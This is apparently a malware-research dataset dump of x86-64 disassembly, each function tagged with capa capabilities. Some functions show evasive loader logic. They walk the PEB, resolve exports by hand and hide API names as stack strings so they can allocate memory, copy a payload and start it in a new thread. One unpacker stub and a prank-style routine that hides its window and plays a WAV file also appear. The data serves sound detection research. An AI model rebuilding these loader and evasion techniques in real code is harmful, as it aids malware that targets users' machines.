joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001129e
Capabilities:
Get session user name
Hide graphical window
Write file on windows

Disassembly:
jmp 0x140011920
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
mov eax, 0x1590
call fcn.1400110b4
sub rsp, rax
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x3dc
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x15b8]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x1568], rax
lea rcx, [0x1400260a3]
call fcn.1400113b6
mov edx, 0xffff
xor ecx, ecx
call qword [sym.imp.WINMM.dll_waveOutSetVolume]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.RIFF0e
call fcn.140011186
mov rdx, rax
lea rcx, str._zu_n
call fcn.1400111ae
mov dword [rbp + 0x234], 0x101
lea rdx, [rbp + 0x234]
lea rcx, [rbp + 0x10]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov eax, dword [rbp + 0x234]
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x258], rax
mov eax, dword [rbp + 0x234]
mov r8d, eax
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x258]
call qword [sym.imp.ucrtbased.dll_wcstombs]
lea rax, [rbp + 0x278]
lea rcx, str.C:Users_
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x2a8]
lea rcx, str.part3.wav
mov rdi, rax
mov rsi, rcx
mov ecx, 0xb
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x2e0]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 0x2e0]
call fcn.140011212
mov rdx, qword [rbp + 0x258]
lea rcx, [rbp + 0x2e0]
call fcn.140011212
lea rdx, [rbp + 0x2a8]
lea rcx, [rbp + 0x2e0]
call fcn.140011212
lea rdx, [rbp + 0x2e0]
lea rcx, [0x14001cf48]
call fcn.1400111ae
mov rcx, qword [rbp + 0x258]
call qword [sym.imp.ucrtbased.dll_free]
lea rdx, [0x14001cf4c]
lea rcx, [rbp + 0x2e0]
call qword [sym.imp.ucrtbased.dll_fopen]
mov qword [rbp + 0x6f8], rax
cmp qword [rbp + 0x6f8], 0
jne 0x140011ac4
xor eax, eax
jmp 0x140011b61
mov dword [rbp + 0x714], 0x1b38
cmp dword [rbp + 0x714], 0
je 0x140011b0a
movsxd rax, dword [rbp + 0x714]
mov r9, qword [rbp + 0x6f8]
mov r8, rax
mov edx, 1
lea rcx, str.RIFF0e
call qword [sym.imp.ucrtbased.dll_fwrite]
movsxd rcx, dword [rbp + 0x714]
cmp rax, rcx
je 0x140011b0a
xor eax, eax
jmp 0x140011b61
mov rcx, qword [rbp + 0x6f8]
call qword [sym.imp.ucrtbased.dll_fclose]
lea rcx, [rbp + 0x2e0]
call fcn.140011186
inc rax
mov r8, rax
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x740]
call qword [sym.imp.ucrtbased.dll_mbstowcs]
lea rax, [rbp + 0x740]
mov qword [rbp + 0xf58], rax
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x740]
call qword [sym.imp.WINMM.dll_PlaySoundW]
jmp 0x140011b4b
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ceb0]
call fcn.140011343
mov rax, rdi
mov rcx, qword [rbp + 0x1568]
xor rcx, rbp
call fcn.1400111c7
lea rsp, [rbp + 0x1570]
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400112a8
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014500
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014520
xor al, al
jmp 0x1400145a1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014533
xor al, al
jmp 0x1400145a1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001455d
xor al, al
jmp 0x1400145a1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014571
xor al, al
jmp 0x1400145a1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014583
xor al, al
jmp 0x1400145a1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001459f
xor al, al
jmp 0x1400145a1
mov al, 1
add rsp, 0x38
ret
Function at 0x14002934c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001c944
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001c944
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14002949c
cmp rax, 0xffffffffffffffff
je 0x14002949c
xor edi, edi
test rbp, rbp
jle 0x140029447
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001f258
mov rbx, rax
test rax, rax
jne 0x1400293d4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14002943d
mov edx, 0x8000
mov ecx, r14d
call fcn.14001a278
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001d620
cmp eax, 0xffffffff
je 0x14002941d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400293e4
mov edx, r15d
mov ecx, r14d
call fcn.14001a278
jmp 0x14002943d
cmp byte [rsi + 0x38], dil
je 0x140029434
cmp dword [rsi + 0x34], 5
jne 0x140029434
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14002943d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b00c
jmp 0x1400294b0
jns 0x1400294b0
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001c944
cmp rax, 0xffffffffffffffff
jne 0x140029468
cmp byte [rsi + 0x30], dil
je 0x1400294b0
mov edi, dword [rsi + 0x2c]
jmp 0x1400294b0
mov ecx, r14d
call fcn.140018730
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400294b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1400294b0
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400294a9
mov eax, dword [rsi + 0x2c]
jmp 0x1400294ae
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001c944
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140001b18
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b62
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b62
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b62
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b62
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b62
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b64
xor al, al
add rsp, 0x28
ret
Function at 0x10031d0f0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x10031d0fd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x10031d10d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x10031d0f5
lea eax, [rcx + 1]
jmp 0x10031d11b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x10031d12e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x10031d114
sub eax, 3
jb 0x10031d14e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x10031d19d
sar eax, 1
movsxd rbp, eax
jb 0x10031d184
jmp 0x10031d15c
add ebx, ebx
jne 0x10031d15a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x10031d184
inc ecx
add ebx, ebx
jne 0x10031d16a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x10031d184
call r11
adc ecx, ecx
add ebx, ebx
jne 0x10031d17d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x10031d16c
add ecx, 2
jmp 0x10031d189
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.10031d0b2
jmp 0x10031d0fd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x19f000
mov dl, 0x2c
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x10031d1e9
cmp rsi, rcx
jae 0x10031d1f1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x10031d1d0
cmp al, 0x8f
ja 0x10031d1d0
cmp byte [rsi - 2], 0xf
je 0x10031d1d6
sub al, 0xe8
cmp al, 1
ja 0x10031d1ba
cmp rsi, rcx
jae 0x10031d1f1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x10031d1c0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x10031d1f1
lodsb al, byte [rsi]
jmp 0x10031d1d0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x31a000]
mov eax, dword [rdi]
or eax, eax
je 0x10031d24e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x32716c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x10031d1fe
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x10031d248
mov qword [rbx], rax
add rbx, 8
jmp 0x10031d21e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.10031d2d1], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.10031d2d1
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x10031d2c1
sub rsp, 0xffffffffffffff80
jmp 0x100002c90
Function at 0x180001000
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
mov rax, qword gs:[0x60]
xor r10d, r10d
mov r14, rcx
test rax, rax
je 0x1800010df
mov r11, qword [rax + 0x18]
test r11, r11
je 0x1800010df
mov r11, qword [r11 + 0x10]
test r11, r11
je 0x1800010df
cmp qword [r11 + 0x30], r10
je 0x1800010df
movups xmm0, xmmword [r11 + 0x58]
mov rbx, r10
psrldq xmm0, 8
movq rdi, xmm0
cmp word [rdi], r10w
je 0x180001073
inc rbx
cmp word [rdi + rbx*2], r10w
jne 0x180001069
mov rax, r10
cmp word [r14], r10w
je 0x180001086
inc rax
cmp word [r14 + rax*2], r10w
jne 0x18000107c
cmp rbx, rax
jne 0x1800010f9
mov rsi, r10
test rbx, rbx
je 0x1800010db
mov rbp, r14
sub rbp, rdi
movsx edx, byte [rdi]
movsx r8d, byte [rdi + rbp]
lea ecx, [rdx - 0x41]
cmp ecx, 0x19
lea eax, [rdx + 0x20]
movzx r9d, al
movzx eax, dl
lea edx, [r8 - 0x41]
cmova r9d, eax
lea eax, [r8 + 0x20]
movzx ecx, al
cmp edx, 0x19
movzx eax, r8b
cmova ecx, eax
cmp r9b, cl
jne 0x1800010f9
inc rsi
add rdi, 2
cmp rsi, rbx
jb 0x180001099
mov r10, qword [r11 + 0x30]
mov rbx, qword [rsp + 0x10]
mov rax, r10
mov rbp, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x28]
pop r14
ret
mov r11, qword [r11]
jmp 0x180001047

Function at 0x180001104
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
push r15
movsxd rax, dword [rcx + 0x3c]
mov r11, rcx
xor r10d, r10d
mov r12, rdx
mov ecx, dword [rax + rcx + 0x88]
test ecx, ecx
je 0x1800011f3
lea rbx, [r11 + rcx]
mov r14d, r10d
mov esi, dword [rbx + 0x20]
add rsi, r11
cmp dword [rbx + 0x18], r10d
jbe 0x1800011f3
mov ebp, dword [rsi]
mov rdi, r10
add rbp, r11
cmp byte [rbp], r10b
je 0x180001169
inc rdi
cmp byte [rdi + rbp], r10b
jne 0x180001160
mov rax, r10
cmp byte [r12], r10b
je 0x18000117b
inc rax
cmp byte [rax + r12], r10b
jne 0x180001172
cmp rdi, rax
jne 0x180001213
test rdi, rdi
je 0x1800011d7
mov r13, r12
mov r15, rbp
sub r13, rbp
movsx edx, byte [r15]
movsx r8d, byte [r15 + r13]
lea ecx, [rdx - 0x41]
cmp ecx, 0x19
lea eax, [rdx + 0x20]
movzx r9d, al
movzx eax, dl
lea edx, [r8 - 0x41]
cmova r9d, eax
lea eax, [r8 + 0x20]
movzx ecx, al
cmp edx, 0x19
movzx eax, r8b
cmova ecx, eax
cmp r9b, cl
jne 0x180001213
inc r15
mov rax, r15
sub rax, rbp
cmp rax, rdi
jb 0x180001192
mov edx, dword [rbx + 0x24]
lea eax, [r14 + r14]
mov ecx, dword [rbx + 0x1c]
add rax, r11
add rcx, r11
movzx r8d, word [rdx + rax]
mov r10d, dword [rcx + r8*4]
add r10, r11
mov rbx, qword [rsp + 0x28]
mov rax, r10
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
pop r15
pop r14
pop r13
pop r12
ret
add rsi, 4
inc r14d
cmp r14d, dword [rbx + 0x18]
jae 0x1800011f3
jmp 0x180001152
Function at 0x180001288
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rsi, rcx
mov dword [rbp - 0x10], 0x436c7452
lea rcx, [rbp - 0x10]
mov dword [rbp - 0xc], 0x4d79706f
mov rbx, r8
mov dword [rbp - 8], 0x726f6d65
mov rdi, rdx
mov word [rbp - 4], 0x79
call fcn.180001228
mov r8, rbx
mov rdx, rdi
mov rcx, rsi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop rbp
jmp rax

Function at 0x1800012ec
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
and qword [rbp + 0x10], 0
mov ebx, edx
mov qword [rbp + 0x20], rcx
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x6c41744e
mov dword [rbp - 0x1c], 0x61636f6c
mov dword [rbp - 0x18], 0x69566574
mov dword [rbp - 0x14], 0x61757472
mov dword [rbp - 0x10], 0x6d654d6c
mov dword [rbp - 0xc], 0x79726f
call fcn.180001228
lea r9, [rbp + 0x20]
mov dword [rsp + 0x28], ebx
xor r8d, r8d
mov dword [rsp + 0x20], 0x1000
lea rdx, [rbp + 0x10]
or rcx, 0xffffffffffffffff
call rax
mov rax, qword [rbp + 0x10]
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
ret

Function at 0x180001364
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x60
mov r14d, 0x227d
mov edx, 0x40
mov ecx, r14d
call fcn.1800012ec
mov ebx, 0x142
mov edx, 4
mov ecx, ebx
mov rdi, rax
call fcn.1800012ec
mov r8d, r14d
lea rdx, section..data
mov rcx, rdi
mov rsi, rax
call fcn.180001288
mov r8d, ebx
lea rdx, [0x180005280]
mov rcx, rsi
call fcn.180001288
xor r14d, r14d
mov dword [rbp - 0x30], 0x61657243
lea rcx, [rbp - 0x20]
mov byte [rbp - 0x24], r14b
mov ebx, r14d
mov word [rbp - 8], r14w
mov dword [rbp - 0x2c], 0x68546574
mov dword [rbp - 0x28], 0x64616572
mov dword [rbp - 0x20], 0x45004b
mov dword [rbp - 0x1c], 0x4e0052
mov dword [rbp - 0x18], 0x4c0045
mov dword [rbp - 0x14], 0x320033
mov dword [rbp - 0x10], 0x44002e
mov dword [rbp - 0xc], 0x4c004c
call section..text
test rax, rax
je 0x180001438
lea rdx, [rbp - 0x30]
mov rcx, rax
call fcn.180001104
mov rbx, rax
mov qword [rsp + 0x28], r14
mov r9, rsi
mov r8, rdi
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call rbx
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180001473
lea rcx, [rbp + 0x20]
mov dword [rbp + 0x20], 0x6c43744e
mov dword [rbp + 0x24], 0x65736f
call fcn.180001228
mov rcx, rbx
call rax
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400018e8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001932
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001932
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001932
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001932
cmp dword [rcx + 0x84], 0xe
jbe 0x140001932
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001934
xor al, al
add rsp, 0x28
ret
Function at 0x14000f880
Capabilities:
Check if file exists

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
cmp qword [rcx], rdx
je 0x14000f903
mov rdi, rdx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rax, qword [rsi]
add rax, 1
cmp rax, 2
jb 0x14000f8ce
call fcn.140014640
mov r8, qword [rsp + 0x38]
mov rcx, qword [rsi]
mov rdx, rsi
mov r9, rax
call fcn.1400146c0
mov rcx, qword [rsi]
call fcn.140014650
mov qword [rsi], 0
lea rax, [rdi + 1]
cmp rax, 2
jb case.default.0x14000f8fc
mov qword [rsi], rdi
call fcn.140014640
mov r8, qword [rsp + 0x38]
mov rcx, rdi
mov rdx, rsi
mov r9, rax
call fcn.140014680
mov ecx, ebx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_SetLastError]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
invalid
insb byte [rdi], dx
or ecx, edi
or esp, dword [rbx + 0x7332fbc9]
iretd
cmp ebp, esp
sbb eax, 0x2239f9b1
xchg ebp, eax
and al, 0x5a
xchg byte [rdx - 0x30200041], al
ja 0x1400c3e98
mov edi, 0x77cfdfff
cli
idiv byte [r13 + 0x111a7de]
mov ah, byte [rbx]
adc al, 0xd3
ret 0xe594

Function at 0x140010e90
Capabilities:
Query environment variable

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x230
mov r14, rcx
mov rax, qword [0x140065020]
xor rax, rsp
mov qword [rsp + 0x228], rax
lea rdi, [rsp + 0x20]
mov word [rdi], 0
xor ebx, ebx
lea r15, str.PROGRAMFILES
mov rsi, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov rcx, qword [rbx + r15]
mov word [rsp + 0x20], 0
mov r8d, 0x104
mov rdx, rdi
call rsi
lea ecx, [rax - 1]
cmp ecx, 0x102
ja 0x140010eff
mov edx, eax
mov rcx, rdi
mov r8, r14
call fcn.140010e20
test al, al
jne 0x140010f0d
add rbx, 8
cmp rbx, 0x18
jne 0x140010ecd
xor esi, esi
jmp 0x140010f10
mov sil, 1
mov rcx, qword [rsp + 0x228]
xor rcx, rsp
call fcn.14002a340
mov eax, esi
add rsp, 0x230
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x140004ee0
Capabilities:
Hash data using sha256

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov esi, edx
xor edx, edx
mov r8d, 0xf0
mov rbx, rcx
call fcn.1400209b0
xor r11d, r11d
mov qword [rbx + 0x110], r11
mov byte [rbx + 0x118], r11b
mov rcx, qword [rbx + 0xf8]
lea rax, [0x14002da30]
mov eax, dword [r11 + rax]
mov dword [r11 + rcx], eax
add r11, 4
cmp r11, 0x20
jl 0x140004f15
mov rax, qword [rbx + 0xf8]
bts edi, 0xd
xor dword [rax], 0x2080020
mov rax, qword [rbx + 0xf8]
shl edi, 0x10
xor dword [rax + 8], esi
mov rax, qword [rbx + 0xf8]
mov rbx, qword [rsp + 0x30]
xor dword [rax + 0xc], edi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140005f6c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [rcx + 4], 0
mov r8, rcx
jne 0x140005fb3
xor r9d, r9d
mov r10d, r9d
mov r11d, 8
mov edx, r10d
mov ecx, r10d
shr edx, 1
mov eax, edx
mov r10d, edx
xor eax, 0xedb88320
and cl, 1
cmovne r10d, eax
sub r11, 1
jne 0x140005f81
inc r9d
mov dword [r8], r10d
add r8, 4
cmp r9d, 0x100
jb 0x140005f78
repz ret

Function at 0x14000602c
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov r10, r8
mov rbx, rdx
mov r11d, ecx
lea rsi, [0x1400368b0]
test r8, r8
je 0x140006075
test bl, 7
je 0x140006075
movzx ecx, byte [rbx]
movzx eax, r11b
inc rbx
xor rcx, rax
mov eax, r11d
mov r11d, dword [rsi + rcx*4]
shr eax, 8
xor r11d, eax
sub r10, 1
jne 0x140006050
cmp r10, 8
jb 0x140006122
mov rdi, r10
shr rdi, 3
mov rax, rdi
imul rax, rax, 0xfffffffffffffff8
add r10, rax
xor r11d, dword [rbx]
mov r9d, dword [rbx + 4]
add rbx, 8
mov eax, r9d
shr eax, 0x10
movzx edx, al
mov eax, r9d
mov r8d, dword [rsi + rdx*4 + 0x400]
shr eax, 0x18
movzx ecx, al
mov eax, r9d
xor r8d, dword [rsi + rcx*4]
shr eax, 8
movzx ecx, al
mov eax, r11d
xor r8d, dword [rsi + rcx*4 + 0x800]
shr eax, 0x18
movzx ecx, al
mov eax, r11d
xor r8d, dword [rsi + rcx*4 + 0x1000]
shr eax, 0x10
movzx ecx, al
mov eax, r11d
xor r8d, dword [rsi + rcx*4 + 0x1400]
shr eax, 8
movzx ecx, al
movzx eax, r9b
xor r8d, dword [rsi + rcx*4 + 0x1800]
xor r8d, dword [rsi + rax*4 + 0xc00]
movzx eax, r11b
mov r11d, r8d
xor r11d, dword [rsi + rax*4 + 0x1c00]
sub rdi, 1
jne 0x140006090
test r10, r10
je 0x140006147
movzx ecx, byte [rbx]
movzx eax, r11b
inc rbx
xor rcx, rax
mov eax, r11d
mov r11d, dword [rsi + rcx*4]
shr eax, 8
xor r11d, eax
sub r10, 1
jne 0x140006127
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov eax, r11d
ret
Function at 0x140006534
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x1f0
mov r13d, 0x40
mov rbp, r9
mov r12, r8
mov rbx, rdx
mov rsi, rcx
cmp rdx, r13
jbe 0x1400065a6
lea rcx, [rax - 0x88]
call fcn.140014108
lea rcx, [rsp + 0x180]
mov r8, rbx
mov rdx, rsi
call fcn.1400143e4
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x180]
call fcn.1400144a8
lea rsi, [rsp + 0x80]
lea ebx, [r13 - 0x20]
xor edi, edi
mov dl, 0x36
mov r8, rdi
cmp rbx, rdi
jbe 0x1400065d2
lea rax, [rsp + 0x20]
mov r9, rsi
sub r9, rax
lea rcx, [rsp + r8 + 0x20]
inc r8
mov al, byte [r9 + rcx]
xor al, dl
mov byte [rcx], al
cmp r8, rbx
jb 0x1400065bd
cmp rbx, r13
jae 0x1400065e7
mov r8, r13
lea rcx, [rsp + rbx + 0x20]
sub r8, rbx
call fcn.1400209b0
lea rcx, [rsp + 0xa0]
call fcn.140014108
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0xa0]
mov r8, r13
call fcn.1400143e4
lea rcx, [rsp + 0xa0]
mov r8, rbp
mov rdx, r12
call fcn.1400143e4
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0xa0]
call fcn.1400144a8
lea rcx, [rsp + 0x110]
call fcn.140014108
mov dl, 0x5c
cmp rbx, rdi
jbe 0x14000665e
lea rax, [rsp + 0x20]
sub rsi, rax
lea rcx, [rsp + rdi + 0x20]
inc rdi
mov al, byte [rsi + rcx]
xor al, dl
mov byte [rcx], al
cmp rdi, rbx
jb 0x14000664a
cmp rbx, r13
jae 0x140006673
mov r8, r13
lea rcx, [rsp + rbx + 0x20]
sub r8, rbx
call fcn.1400209b0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x110]
mov r8, r13
call fcn.1400143e4
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x110]
mov r8d, 0x20
call fcn.1400143e4
mov rdx, qword [rsp + 0x230]
lea rcx, [rsp + 0x110]
call fcn.1400144a8
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r13
pop r12
pop rdi
ret
Function at 0x1400066d4
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x110
mov rax, r8
mov r8d, 0x40
mov r13, rcx
cmp r9, r8
mov r12, rdx
lea rcx, [r11 - 0x88]
cmovb r8, r9
mov rdx, rax
mov rbx, r9
call fcn.140020da0
lea rax, [rsp + 0x40]
lea r9, [rbx + 4]
lea r8, [rsp + 0xa0]
mov rdx, r12
mov rcx, r13
mov qword [rsp + 0x20], rax
mov byte [rsp + rbx + 0xa0], 0
mov byte [rsp + rbx + 0xa1], 0
mov byte [rsp + rbx + 0xa2], 0
mov byte [rsp + rbx + 0xa3], 1
call fcn.140006534
mov r14d, 0x20
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x78]
mov r8, r14
call fcn.140020da0
mov r11d, dword [rsp + 0x168]
lea eax, [r14 - 0x10]
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x38], eax
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x158]
dec r11d
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x160]
mov dword [rsp + 0x30], r11d
lea rsi, [rsp + 0x60]
lea rdi, [rsp + 0x30]
